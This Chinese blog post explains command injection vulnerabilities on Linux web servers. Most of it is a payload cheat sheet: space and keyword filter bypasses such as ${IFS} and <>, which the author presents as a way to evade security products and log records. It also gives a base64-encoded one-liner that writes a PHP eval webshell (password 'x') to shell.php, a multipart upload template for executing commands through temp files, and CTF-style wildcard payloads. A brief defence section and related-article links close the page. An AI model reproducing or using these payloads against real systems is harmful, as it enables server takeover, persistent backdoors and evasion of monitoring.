REC——命令执行漏洞

2023-12-05

原理

命令执行漏洞是一种常见的安全漏洞,它允许攻击者在受攻击的系统上执行任意的系统命令。这种漏洞的原理通常是,应用程序没有正确地验证和过滤用户输入数据,允许恶意用户可以在输入框等地方注入恶意的系统命令。

攻击者可以将恶意的命令附加到应用程序接受的输入数据中,这些命令通常是在操作系统中执行的命令,如执行 shell 命令、读取文件、删除文件等等。当应用程序接受这些命令并将其传递给操作系统时,由于未正确验证和过滤输入数据,这些恶意命令就会被执行,从而让攻击者获得控制权。

注意:当web页面下存在命令执行漏洞的时候,相当于在当前页面的文件路径下开了一个命令行,所有在文件处理或上传文件的时候要注意自己所在的位置。

绕过或隐藏操作手法

其一,当一个页面存在命令执行漏洞时候,往往还会存在一些过滤。其二,即使没有过滤的情况下我们也要尝试用一些绕过的手法进行操作。因为如果直接执行正常命令可能会被安全软件或产品检测出来,或者被日志记录被记录下来。

1.关键字替代

1.对于查看文件内容的命令有less、more、tail,cat它们之间可以相互代替

2.对于过滤空格的时候可以用< 、<>、%20(space)、%09(tab)、$IFS$9、 {IFS}、IFS等,如

cat<file
cat<>file
cat${IFS}file

3.对于目录分割符命令有"/" ,可以通过cd进入到那个目录,然后再进行查看如:

cd flag;cat flag.php

4.对于运算符则有&&,&,||,|这四种可以选择

2.通过命令注入写入木马文件

对于各种过滤我整理出如下的写入木马的命令,再没有注入长度限制的时候乱杀!!!(底层操作系统是liunx)

echo${IFS}"PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg=="${IFS}|${IFS}base64${IFS}-d${IFS}>>shell.php
#密码是x

如果进行了空格过滤比较严格那看可以换一个空格过滤的方式

3.上传临时文件配合命令注入漏洞

在文件上传的过程中,通常在服务器端会创建一个临时文件来暂存上传的文件数据。

当客户端通过 HTTP 协议将文件上传到服务器端时, 服务器端会将上传的文件数据暂存在临时目录中。这样做的目的是为了在文件上传过程中可以对文件进行处理和验证,以及防止占用过多的内存等。

临时文件一般会使用一个临时的文件名,而不是用户上传的原始文件名。一旦文件上传完毕并处理完成,临时文件会被删除或移动到另一个位置。本质是为了处理和验证

模板如下:

Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 234

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash
ls /var
-----------------------------10242300956292313528205888--

其他请求头自行拼接。ls /var就是执行的命令,需要配合着命令注入漏洞进行查看文件也就是查看结果

4.nl,*命令的灵活应用

nl:是列出当前文件里面的所有内容

*: 是把连续的文件名当作命令来执行如:nl s secretsecret_ctfshow_36dddddddddd.php z zzz.php(可以跟多个文件的)

payload:
?1=>nl    #先创建一个空文件,但是文件名是nl
?1=*>z        #命令的执行都是按照步骤执行的,显示*执行了文件名后,再放到z文件里面
然后访问这个文件即可

命令注入的防御

1.对web网站的目录设置严格权限,比如禁止写入,删除,创建等

2.做好严格的参数过滤

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

REC——命令执行漏洞 的相关文章

  • IT圈大实话!卷运维不如卷网络安全

    前言 在刚刚过去的金九银十 我进行了多场网络安全的技术面试 我发现最近很多从事运维的选择了辞职 转行到了网络安全这个发展路线 说实话 运维工程师这个岗位在IT行业里面确实是处于最底层的 不管什么环节出现问题 基本都是运维背锅 薪资水平也比不
  • 为什么这么多人自学黑客,但没过多久就放弃了(掌握正确的网络安全学习路线很重要)

    网络安全是一个 不断发展和演变 的领域 以下是一个 网络安全学习路线规划 旨在帮助初学者快速入门和提高自己的技能 基础知识 网络安全的 基础知识 包括 网络结构 操作系统 编程语言 等方面的知识 学习这些基础知识对理解网络安全的原理和技术至
  • 网络安全从入门到精通(超详细)学习路线

    首先看一下学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想
  • 通过一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 一个寒假能学会黑客技术吗?看完你就知道了

    一个寒假能成为黑客吗 资深白帽子来告诉你 如果你想的是学完去美国五角大楼内网随意溜达几圈 想顺走一点机密文件的话 劝你还是趁早放弃 但是成为一名初级黑客还是绰绰有余的 你只需要掌握好渗透测试 Web安全 数据库 搞懂web安全防护 SQL注
  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 【网络安全】Web缓存欺骗攻击原理及攻防实战

    Web缓存欺骗是一种新的攻击方式 危害范围可扩大至各种技术及框架 本文仅分享Web缓存攻击知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 文章目录 前言 攻击前提及原理 实例一 ChatGPT帐户接管漏洞 实例二 P
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 2024年网络安全十10大发展趋势发布

    2023年网络安全十10大发展趋势发布 近日 中国计算机学会 CCF 计算机安全专委会中 来自国家网络安全主管部门 高校 科研院所 大型央企 民营企业的委员投票评选出2023年网络安全十大发展趋势 福利 趋势一 数据安全治理成为数字经济的基
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • 2024年金三银四网络安全考试试题

    2023年金三银四网络安全考试试题 1 关于数据使用说法错误的是 A 在知识分享 案例中如涉及客户网络数据 应取敏感化 不得直接使用 B 在公开场合 公共媒体等谈论 传播或发布客户网络中的数据 需获得客户书面授权或取敏感化 公开渠道获得的除
  • 远程控制软件安全吗?一文看懂ToDesk、RayLink、TeamViewer、Splashtop相关安全机制_raylink todesk

    目录 一 前言 二 远程控制中的安全威胁 三 国内外远控软件安全机制 ToDesk RayLink Teamviewer Splashtop 四 安全远控预防 一 前言 近期 远程控制话题再一次引起关注 据相关新闻报道 不少不法分子利用远程
  • 【网络安全】Facebook代码执行实现命令执行、敏感信息泄露

    部分网站开设编码练习 若安全配置不当 则代码执行将升级为操作系统命令注入 导致敏感信息泄露 本文仅分享命令执行相关知识 不承担任何由于传播 利用本文所发布内容而造成的任何后果及法律责任 未经许可 不可转载 文章目录 信息泄露 扩大危害 信息
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 网络安全:绕过 MSF 的一次渗透测试

    这次渗透的主站是 一个 Discuz 3 4 的搭建 违法招 piao 网站 配置有宝塔 WAF 用 Discuz ML 3 X 的漏洞进行攻击 但是没有成功 发现主站外链会有一个发卡网 引导人们来这充值 是 某某发卡网 而且域名指向也是主
  • 数据加密保障数据安全

    一 目标 1 1 预研需求 数据加密是安全领域中常用的安全措施 它们的主要作用是保护数据的机密性和完整性 以防止未经授权的访问 窃取 篡改或泄漏敏感信息 数据传输加密 保护敏感数据在传输过程中的安全 当数据通过网络传输时 它们可能会经过多个
  • 网络安全(黑客)自学启蒙

    一 什么是网络安全 网络安全是一种综合性的概念 涵盖了保护计算机系统 网络基础设施和数据免受未经授权的访问 攻击 损害或盗窃的一系列措施和技术 经常听到的 红队 渗透测试 等就是研究攻击技术 而 蓝队 安全运营 安全运维 则研究防御技术 作
  • 为什么我强烈推荐大学生打CTF!

    前言 写这个文章是因为我很多粉丝都是学生 经常有人问 感觉大一第一个学期忙忙碌碌的过去了 啥都会一点 但是自己很难系统的学习到整个知识体系 很迷茫 想知道要如何高效学习 这篇文章我主要就围绕两点 减少那些罗里吧嗦的废话 直接上干货 CTF如
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • 【安全】简单解析统一身份认证:介绍、原理和实现方法

    深入解析统一身份认证 介绍 原理和实现方法 导语 统一身份认证是什么 统一身份认证的原理 统一身份认证的实现 结语 导语 随着互联网的发展和各种在线服务的普及 用户在不同的应用和平台上需要进行多次身份验证 为了简化用户的登录和减少重复操作

随机推荐